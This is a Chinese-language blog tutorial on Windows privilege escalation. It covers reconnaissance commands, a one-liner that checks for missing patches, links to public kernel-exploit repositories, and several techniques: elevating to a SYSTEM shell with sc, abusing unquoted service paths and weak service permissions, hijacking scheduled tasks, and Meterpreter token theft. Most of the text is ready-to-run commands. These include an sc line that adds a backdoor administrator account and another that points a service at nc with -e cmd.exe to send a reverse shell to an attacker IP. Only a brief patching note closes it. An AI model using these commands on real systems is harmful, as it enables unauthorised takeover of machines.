办公收集

windows提权

2020-08-30  本文已影响0人  卿酌南烛_b805

一、常见提权方法

1、溢出漏洞提权

2、数据库提权

3、第三方软件提权

二、Cmd命令无法执行原因分析

1、Cmd命令无法执行分析

主要原因是cmd.exe被管理员降权或删除,也有可能组件被删除。

2、Cmd命令执行解决方法

通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令(找可读可写目录不要选带空格目录)。

setp c:\路径...\cmd.exe #切换至上传的cmd来执行命令

三、提权常用命令讲解

whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器
IPipconfig/allnet user——查看当前用户情况
netstat ——查看当前网络连接情况  
netstat –ano/netstat –an|find“ESTABLISHED”tasklist ——查看当前进程情况 
tasklist/svctaskkill ——结束进程 
taskkill-PIDxxnet start  ——启动服务net stop ——停止服务

⚪微软官方时刻关注列表网址:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

比如常用的几个已公布的 exp:KB2592799KB3000061KB2592799

🔴快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:

systeminfo>micropoor.txt&(for%iin(KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780)do@typemicropoor.txt|@find/i"%i"||@echo%i you can fuck)&del/f/q/a micropoor.txt

⛔一般实战中在类似 tmp 目录等可写目录下执行:如 C:\tmp>

⚫目前已对外公开exp注:

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/WindowsExploits/Exploits

https://github.com/AusJock/Privilege-Escalation

四、溢出漏洞提权实战测试

五、溢出漏洞安全防范

🟣及时通过Windows Update或第三方工具360更新补丁

image

UAC介绍

UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

windows 7、8、08、12、16

sc 命令提权(administrator–>system)

ps:经测试03也可以。

关于sc命令:

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact

这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务然后执行
sc start systcmd,就得到了一个system权限的cmd环境


image.png

不带引号的服务路径
<meta charset="utf-8">

Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞,如下述路径,C:\Program Files\Vulnerable.exe中存在空格,此时在C盘根目录上传Program.exe文件时,就会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。

C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe

我们可以使用以下命令查看错误配置的路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

4.4、利用不安全的服务权限

即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。
AccessChk工具可以用来查找用户可以修改的服务:

accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *

sc命令也可以用来查找用户可以修改的服务:

sc qc “Service”   #查找可以修改的服务

sc config PFNET binpath= “net user rottenadmin P@ssword123! /add”
sc stop PFNET
sc start PFNET

每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell

完整案例:

①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)

“sc qc DcomLaunch”命令查询DcomLaunch的详细信息

net start | find "DCOM Server Process Launcher"  查看服务是否启动

运行 tasklist /svc 找到对应服务

②、修改服务并获取系统权限

这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改

sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e  C:\WINDOWS\system32\cmd.exe"  

⛔注意binpath=后面一定要有个空格,IP为攻击者IP

③、查看是否第二步成功

sc qc DcomLaunch 

④、配置账号密码

sc config DcomLaunch obj= ".\LocalSystem"  password= ""

obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。

⑤、重启服务

net start DcomLaunch 

⑥、攻击机上用nc进行监听4433即可得到反弹的shell

nc.exe -vv -l -p 4433

4.5、计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

schtasks /query /fo LIST /v    #查看计算机的计划任务
accesschk.exe -dqv "D:\test" -accepteula   #查看指定目录的权限配置情况

4.6、Meterpreter基础提权

首先在Meterpreter会话执行ps命令查看目标机当前进程:
假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程),PID为2584:
然后我们可以执行以下语句窃取该用户进程的令牌:

steal_token  2584

五、溢出漏洞安全防范


🟣及时通过Windows Update或第三方工具360更新补丁
在dos命令窗口输入systeminfo 命令回车,显示所有系统补丁相关信息

image
上一篇下一篇

猜你喜欢

热点阅读